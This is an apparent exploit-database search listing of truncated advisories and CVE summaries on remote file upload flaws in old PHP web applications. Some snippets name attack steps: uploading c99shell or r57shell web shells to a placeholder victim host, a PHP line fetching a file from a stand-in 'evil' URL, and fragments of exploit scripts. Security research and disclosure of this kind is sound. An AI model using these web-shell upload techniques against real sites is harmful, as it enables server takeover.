1380 matches found
Jupiter CMS 1.1.5 Remote File Upload Exploit
Exploit for unknown platform in category web applications ============================================ Jupiter CMS 1.1.5 Remote File Upload Exploit ============================================ agent"Mozilla"; $arr = arrayfrmdturl = $url.'modules/emoticons.php', "a" = 1, "reqfile" =...
eXtreme File Hosting remote file upload vulnerability
A security bug have been discovered in eXtreme File Hosting, which can be upload the attaker files and can get the shell with phpshell. bug : in this borgram with php can user upload zip or rar file hacker can upload the a.php.rar file that contain ?php $file = 'http://sample.com/evilefile.php';...
CVE-2006-6783
logahead UNU 1.0 before 20061226 allows remote attackers to upload arbitrary files via unspecified vectors related to plugins/widged/widged.php aka the WidgEd plugin, possibly because of an authentication bypass. NOTE: some of these details are obtained from third party information...
logahead UNU edition 1.0 - Arbitrary File Upload Code Execution
logahead UNU edition 1.0 - Arbitrary File Upload Code Execution -=--------------------ADVISORY-------------------=- logahead UNU edition 1.0 Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: logahead UNU edition -=+ Version: 1.0 -=+ Vendor's UR...
Mambocom_hotornot-1.2.2.txt
------=Part26246633113660.1158601122097 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Mambo comhotornot open u'r browser http://victim.xxx/components/comhotornot/uploadfile.php? - upload u'r shell c99shell.php or r57shell.p...
[email protected] <= 2.4.02 Advisory / Remote File Upload Exploit
Exploit for unknown platform in category web applications =========================================================== email protected Exploit writting by: Simo Ben youssef Discovered: 05 Aout 2006 Published : 15 September 2006 MorX Security Research Team Details Remote File Inclsuion : vulnerable...
CVE-2006-4758
phpBB 2.0.21 does not properly handle pathnames ending in %00, which allows remote authenticated administrative users to upload arbitrary files, as demonstrated by a query to admin/adminboard.php with an avatarpath parameter ending in .php%00...
phpBB 2.0.21 - Poison Null Byte Remote File Upload
phpBB 2.0.21 - Poison Null Byte Remote File Upload !/usr/bin/perl -w Author: ShAnKaR Title: multiple PHP application poison NULL byte vulnerability Applications: phpBB 2.0.21, punBB 1.2.12 Threat Level: Critical Original advisory in Russian: http://www.security.nnov.ru/Odocument221.html Poison NU...
toendaCMS <= 1.0.0 (FCKeditor) Remote File Upload Exploit
Exploit for unknown platform in category web applications ========================================================= toendaCMS 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15...
CVE-2006-3070
CVE-2006-3070 affects Zeroboard 4.1 pl8 running on Apache with mod_mime. The issue allows remote attackers to bypass upload restrictions for executable extensions by uploading a .htaccess file containing an AddType directive that maps an assumed-safe extension (e.g., txt) to an executable handler...
CVE-2006-3070
writeok.php in Zeroboard 4.1 pl8, when installed on Apache with modmime, allows remote attackers to bypass restrictions for uploading files with executable extensions by uploading a .htaccess file that with an AddType directive that assigns an executable module to files with assumed-safe...
PT-2006-3920 · Winscp · Winscp
Name of the Vulnerable Software and Affected Versions: WinSCP version 3.8.1 build 328 Description: The issue allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI. Recommendations: For WinSCP version 3.8.1 build 328, upda...
Mozilla Firefox 1.x - JavaScript Key Filtering
source: https://www.securityfocus.com/bid/18308/info Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users. This issue is demonstrated to allow attackers to divert keystrokes from one input form in a...
Sire 2.0 Nws Remote File inclusion & Arbitary Files Upload
by Moroccan Security Team Geetz To All Freind +File Inclusion: Input passed to the "rub" parameter in "lire.php" isn't properly verified, before it is used to include remote files Successful exploitation requires that "registerglobals" is enabled. lire.php code ? 73...
PHP iCalendar Local File Inclusion
Binary data 3479.prm...
Easy File Sharing Web Server Format String
Binary data 3470.prm...
Path traversal
CubeCart 3.0 through 3.6 does not properly check authorization for an administration session because of a missing auth.inc.php include, which results in an absolute path traversal vulnerability in FileUpload in connector.php aka upload.php that allows remote attackers to upload arbitrary files vi...
CVE-2006-0212
CVE-2006-0212 concerns the OBEX Push services in Toshiba Bluetooth Stack 4.00.23(T) and earlier. The vulnerability is a directory traversal that lets remote attackers upload arbitrary files to arbitrary remote locations by exploiting .. (dot dot) sequences, as demonstrated by ..\ sequences in the...
efiction 1.01.12.0 - titles.php Cross-Site Scripting
efiction 1.01.12.0 - titles.php Cross-Site Scripting source: https://www.securityfocus.com/bid/15568/info eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities. These vulnerabilities may allow an attacker to view and modify sensitive information, gain...
efiction 1.01.12.0 - uid SQL Injection
efiction 1.01.12.0 - uid SQL Injection source: https://www.securityfocus.com/bid/15568/info eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities. These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized...